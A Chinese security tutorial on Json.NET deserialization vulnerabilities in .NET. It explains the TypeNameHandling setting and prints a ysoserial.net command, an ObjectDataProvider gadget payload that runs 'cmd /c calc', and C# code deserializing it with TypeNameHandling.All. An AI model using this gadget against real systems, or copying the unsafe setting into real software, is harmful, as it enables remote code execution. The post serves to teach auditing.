AI智能
改变未来

.Net审计之.Net Json反序列化


.Net审计之.Net Json反序列化

前言

偶然下遇到一个.NET 下有意思的Json反序列化点,记录一下反序列化内容,直入主题。

.Net Json

常见序列化与反序列化

NET 中常见的数据格式以及序列化方法

官方文档:https://www.newtonsoft.com/json

序列化

namespace ConsoleApp1{class Program{static void Main(string[] args){Person person = new Person();person.name = "nice0e3";person.age = 22;string json = JsonConvert.SerializeObject(person);Console.WriteLine(json);Console.ReadLine();}public class Person{public string name;public int age;static string i;}}}//结果:{"name":"nice0e3","age":22}

里面的i成员变量并没有被序列化进来,因为该成员变量是静态的,静态修饰的并不参与在实例化对象中,所以不会被序列化进来。

反序列化

string json = "{\\"name\\":\\"nice0e3\\",\\"age\\":22} ";object v = JsonConvert.DeserializeObject(json);Console.WriteLine(v);Console.ReadLine();//结果:{"name": "nice0e3","age": 22}

反序列化攻击

JsonConvert.DeserializeObject

第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中

TypeNameHandling

可选择的成员分为五种

默认情况下

TypeNameHandling

为None,表示Json.NET在反序列化期间不读取或写入类型名称。会使传递就去类名无法进行读取和写入,即不可触发漏洞。

只有当 TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。

设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞

ysoserial.net:https://github.com/pwntester/ysoserial.net

yso生成数据:

/ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{\'$type\':\'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\',\'MethodName\':\'Start\',\'MethodParameters\':{\'$type\':\'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\',\'$values\':[\'cmd\', \'/c calc\']},\'ObjectInstance\':{\'$type\':\'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\'}
   static void Main(string[] args){string json = @"{\'$type\':\'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\',\'MethodName\':\'Start\',\'MethodParameters\':{\'$type\':\'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\',\'$values\':[\'cmd\', \'/c calc\']},\'ObjectInstance\':{\'$type\':\'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\'}}";Object js = JsonConvert.DeserializeObject(json, new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.All});Console.WriteLine(js);Console.ReadKey();

参考

https://www.websecuritys.cn/archives/netxlh-1.html

https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/121

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » .Net审计之.Net Json反序列化